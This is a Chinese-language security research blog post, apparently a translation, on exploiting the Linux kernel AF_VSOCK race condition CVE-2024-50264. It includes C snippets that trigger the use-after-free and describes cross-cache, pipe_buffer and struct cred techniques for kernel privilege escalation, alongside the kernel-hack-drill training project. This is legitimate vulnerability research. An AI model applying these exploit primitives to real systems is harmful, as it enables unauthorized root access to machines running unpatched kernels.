Linux内核漏洞CVE-2024-50264利用新方法与内核黑客训练场

本文详细分析了Linux内核中的竞争条件漏洞CVE-2024-50264,介绍了使用内核黑客训练场开发新型利用技术的过程,包括跨缓存攻击、消息队列操作和管道缓冲区操作,最终实现权限提升。

内核黑客训练场与利用CVE-2024-50264的新方法

漏洞碰撞故事

我早在2021年就在AF_VSOCK中发现了一个漏洞,并发表了文章《四字节的力量:利用Linux内核中的CVE-2021-26708》。2024年4月,我使用定制的syzkaller对这个内核子系统进行模糊测试,在AF_VSOCK中发现了另一个崩溃。我最小化了崩溃重现器并禁用了KASAN,这导致内核工作线程(kworker)中立即出现null-ptr-deref,看起来与安全无关。正确修补它需要对AF_VSOCK子系统进行重大重构。由于确信前进的道路会很痛苦,我将这个崩溃搁置了。这是一个错误的决定。

后来,在2024年秋季,我决定再次研究这个漏洞,并取得了有希望的结果。然后,在一个平静的夜晚,我意识到我与Hyunwoo Kim(@v4bel)和Wongi Lee(@qwerty)发生了漏洞碰撞:他们已经将这个漏洞披露为CVE-2024-50264,并在kernelCTF中使用过。他们的补丁将我的PoC利用变成了null-ptr-deref。

CVE-2024-50264分析

CVE-2024-50264漏洞于2016年8月由Linux v4.8中的commit 06a8fc78367d引入。这是AF_VSOCK套接字中的一个竞争条件,发生在connect()系统调用和POSIX信号之间,导致释放后使用(UAF)。非特权用户可以在没有用户命名空间的情况下触发此漏洞,这使其更加危险。

内核使用已释放的virtio_vsock_sock对象,其大小为80字节,适合kmalloc-96 slab缓存。内存损坏是由内核工作线程执行的UAF写入。

使用"不朽信号"重现漏洞

首先,攻击者应创建一个监听虚拟套接字(服务器vsock):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#define UAF_PORT 0x2712

int ret = -1;
int vsock1 = 0;
struct sockaddr_vm addr = {
	.svm_family = AF_VSOCK,
	.svm_port = UAF_PORT,
	.svm_cid = VMADDR_CID_LOCAL
};

vsock1 = socket(AF_VSOCK, SOCK_STREAM, 0);
if (vsock1 < 0)
	err_exit("[-] creating vsock");

ret = bind(vsock1, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
if (ret != 0)
	err_exit("[-] binding vsock");

ret = listen(vsock1, 0); /* backlog = 0 */
if (ret != 0)
	err_exit("[-] listening vsock");

然后攻击者应尝试从客户端vsock打开连接:

1
2
3
4
5
6
7
int vsock2 = 0;

vsock2 = socket(AF_VSOCK, SOCK_STREAM, 0);
if (vsock2 < 0)
	err_exit("[-] creating vsock");

ret = connect(vsock2, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

为了触发漏洞,攻击者应使用POSIX信号中断此connect()系统调用。@v4bel和@qwerty使用了SIGKILL,但这会杀死利用进程。我的模糊测试器偶然发现了一个更干净的技巧:

1
2
3
4
5
6
struct sigevent sev = {};
timer_t race_timer = 0;

sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = 33;
ret = timer_create(CLOCK_MONOTONIC, &sev, &race_timer);

我的模糊测试器发现计时器可以触发信号33并中断connect()。信号33很特殊,原生POSIX线程库(NPTL)将其保留用于内部工作,操作系统会悄悄保护应用程序免受其影响。

关于内存损坏

当信号在易受攻击的套接字处于TCP_ESTABLISHED状态时中断connect()系统调用时,竞争条件成功。然后套接字进入TCP_CLOSING状态:

1
2
3
4
5
6
7
8
if (signal_pending(current)) {
	err = sock_intr_errno(timeout);
	sk->sk_state = sk->sk_state == TCP_ESTABLISHED ? TCP_CLOSING : TCP_CLOSE;
	sock->state = SS_UNCONNECTED;
	vsock_transport_cancel_pkt(vsk);
	vsock_remove_connected(vsk);
	goto out_wait;
}

第二次尝试使用不同的svm_cid(VMADDR_CID_HYPERVISOR)将易受攻击的vsock连接到服务器vsock会引发内存损坏:

1
2
3
4
5
6
7
8
struct sockaddr_vm addr = {
	.svm_family = AF_VSOCK,
	.svm_port = UAF_PORT,
	.svm_cid = VMADDR_CID_HYPERVISOR
};

/* this connect will schedule the kernel worker performing UAF */
ret = connect(vsock2, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

在底层,connect()系统调用执行vsock_assign_transport()。此函数将虚拟套接字切换到新的svm_cid传输,并释放与先前vsock传输绑定的资源:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if (vsk->transport) {
	if (vsk->transport == new_transport)
		return 0;

	/* transport->release() must be called with sock lock acquired.
	 * This path can only be taken during vsock_connect(), where we
	 * have already held the sock lock. In the other cases, this
	 * function is called on a new socket which is not assigned to
	 * any transport.
	 */
	vsk->transport->release(vsk);
	vsock_deassign_transport(vsk);
}

此过程在virtio_transport_close()中关闭旧的vsock传输,并在virtio_transport_destruct()中释放virtio_vsock_sock对象。然而,由于套接字的错误TCP_CLOSING状态,virtio_transport_close()启动了进一步的通信。为了处理该活动,内核调度了一个kworker,最终调用virtio_transport_space_update(),该函数在已释放的结构上操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
static bool virtio_transport_space_update(struct sock *sk, struct sk_buff *skb)
{
	struct virtio_vsock_hdr *hdr = virtio_vsock_hdr(skb);
	struct vsock_sock *vsk = vsock_sk(sk);
	struct virtio_vsock_sock *vvs = vsk->trans; /* ptr to freed object */
	bool space_available;

	if (!vvs)
		return true;

	spin_lock_bh(&vvs->tx_lock); /* proceed if 4 bytes are zero (UAF write non-zero to lock) */
	vvs->peer_buf_alloc = le32_to_cpu(hdr->buf_alloc); /* UAF write 4 bytes */
	vvs->peer_fwd_cnt = le32_to_cpu(hdr->fwd_cnt); /* UAF write 4 bytes */
	space_available = virtio_transport_has_space(vsk); /* UAF read, not interesting */
	spin_unlock_bh(&vvs->tx_lock); /* UAF write, restore 4 zero bytes */
	return space_available;
}

CVE-2024-50264的限制

正如我之前提到的,这个漏洞在利用方面有很多讨厌的限制:

  1. 易受攻击的virtio_vsock_sock客户端对象与服务器对象从同一slab缓存分配,这干扰了跨缓存攻击
  2. 重现此竞争条件非常不稳定
  3. UAF写入在kfree()后几微秒内在kworker中发生,对于典型的跨缓存攻击来说太快了
  4. UAF写入后kworker中会出现null-ptr-deref
  5. 即使在避免内核oops的情况下,另一个null-ptr-deref也会在VSOCK_CLOSE_TIMEOUT(八秒)后在kworker中发生
  6. 如果virtio_vsock_sock.tx_lock不为零,kworker会在spin_lock_bh()中挂起

内核黑客训练场

早在2017年,我为学生创建了一个名为kernel-hack-drill的宠物项目。它为学习和实验Linux内核漏洞利用提供了测试环境。我想起了它,并决定使用kernel-hack-drill为CVE-2024-50264开发漏洞利用原语。

kernel-hack-drill是一个在GPL-3.0许可证下发布的开源项目,包含以下部分:

  • drill_mod.c是一个小型Linux内核模块,提供/proc/drill_act文件作为与用户空间的简单接口。此模块包含您可以控制和实验的漏洞
  • drill.h是描述drill_mod.ko接口的头文件
  • drill_test.c是drill_mod.ko的用户空间测试,提供使用/proc/drill_act的示例

使用内核黑客训练场实验跨缓存攻击

我的第一步是了解跨缓存攻击在启用slab分配器加固的最新Ubuntu内核上的行为。

我在drill_uaf_w_msg_msg.c中实现了标准的跨缓存攻击。要观察其运行并调试它,请在内核源中进行以下调整:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
diff --git a/mm/slub.c b/mm/slub.c
index be8b09e09d30..e45f055276d1 100644
--- a/mm/slub.c
+++ b/mm/slub.c
@@ -3180,6 +3180,7 @@ static void __put_partials(struct kmem_cache *s, struct slab *partial_slab)
        while (slab_to_discard) {
                slab = slab_to_discard;
                slab_to_discard = slab_to_discard->next;
+               printk("__put_partials: cache 0x%lx slab 0x%lx\n", (unsigned long)s, (unsigned long)slab);
 
                stat(s, DEACTIVATE_EMPTY);
                discard_slab(s, slab);

diff --git a/ipc/msgutil.c b/ipc/msgutil.c
index c7be0c792647..21af92f531d6 100644
--- a/ipc/msgutil.c
+++ b/ipc/msgutil.c
@@ -64,6 +64,7 @@ static struct msg_msg *alloc_msg(size_t len)
        msg = kmem_buckets_alloc(msg_buckets, sizeof(*msg) + alen, GFP_KERNEL);
        if (msg == NULL)
                return NULL;
+       printk("msg_msg 0x%lx\n", (unsigned long)msg);
 
        msg->next = NULL;
        msg->security = NULL;

将跨缓存攻击适配到CVE-2024-50264

正如限制中所述,易受攻击的virtio_vsock_sock客户端对象与服务器对象一起分配(限制#1)。这对利用有两个不利影响:

一方面,保持服务器vsock打开会阻止释放包含UAF对象的slab,这会杀死跨缓存攻击。 另一方面,关闭服务器vsock会干扰UAF本身。

@v4bel和@qwerty使用SLUBStick时序侧信道来发现分配器何时切换到新的活动slab。我走了另一条路:如果我在connect()系统调用后几乎立即用信号击中它会怎样?

简而言之,我使用了另一个竞争条件来利用主要的竞争条件 - 它奏效了:

我在10000 ns超时后向易受攻击的connect()系统调用发送"不朽"信号33,远早于触发UAF所需的延迟。 然后我验证了早期竞争条件:

  • connect()系统调用必须返回"Interrupted system call"
  • 另一个测试客户端vsock应该仍然可以毫无问题地连接到服务器vsock

我发现当两个检查都通过时,只创建了客户端vsock的单个易受攻击的virtio_vsock_sock。中断信号在内核能够为服务器vsock创建第二个virtio_vsock_sock之前到达。这绕过了限制#1(配对对象创建)。之后,我再次发送信号33 - 这次是在正常超时之后 - 第二次中断易受攻击的connect()并引发UAF。针对virtio_vsock_sock的跨缓存攻击被解锁了!

管道缓冲区娱乐

当使用pipe()系统调用创建管道时,内核分配一个pipe_buffer结构数组。此数组中的每个pipe_buffer项对应一个内存页面,用于保存写入管道的数据。

这个对象看起来是一个很好的UAF目标。我可以通过更改管道的容量来使pipe_buffer数组与virtio_vsock_sock大小相同:fcntl(pipe_fd[1], F_SETPIPE_SZ, PAGE_SIZE * 2)。内核将数组大小更改为2 * sizeof(struct pipe_buffer) = 80字节,与virtio_vsock_sock大小完全匹配。

此外,vsock UAF写入在偏移量24处的4个攻击者控制字节可以翻转pipe_buffer.flags,就像在Max Kellermann的原始Dirty Pipe攻击中一样。

AARW和KASLR的最后报复

在pipe_buffer中,页面指针保存虚拟内存映射(vmemmap)内的struct page地址。vmemmap是这些结构的数组,允许内核高效地寻址物理内存。

当我成功将受控数据的UAF写入pipe_buffer.page指针时,我通过管道获得了任意地址读写(AARW)。但是,正如我在限制#5中提到的,我无法多次更改AARW目标地址,因此我必须在vmemmap中仔细选择目标。

我决定使用管道AARW攻击内核堆中的struct cred。正如我之前描述的,我使用msg_msg越界读取泄漏了cred的虚拟地址。这个虚拟地址看起来像0xffff888003b7ad00,我理解它来自所有物理内存的直接映射。因此,我使用以下公式计算vmemmap中相应struct page的偏移量:

1
2
3
#define STRUCT_PAGE_SZ 64lu
#define PAGE_ADDR_OFFSET(addr) (((addr & 0x3ffffffflu) >> 12) * STRUCT_PAGE_SZ)
uaf_val = PAGE_ADDR_OFFSET(cred_addr);

背后的想法很简单:

  • addr & 0x3ffffffflu给出struct cred从page_offset_base的偏移量
  • 右移12给出包含struct cred的内存页数
  • 最后,乘以64(struct page的大小)给出vmemmap中相应struct page的偏移量

结论

漏洞碰撞是痛苦的。无论如何完成研究都是有回报的。研究这个具有多个限制的困难竞争条件使我能够发现新的利用技术,并使用和改进我的宠物项目kernel-hack-drill,它为Linux内核安全研究人员提供了一个测试环境。欢迎您尝试并做出贡献。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计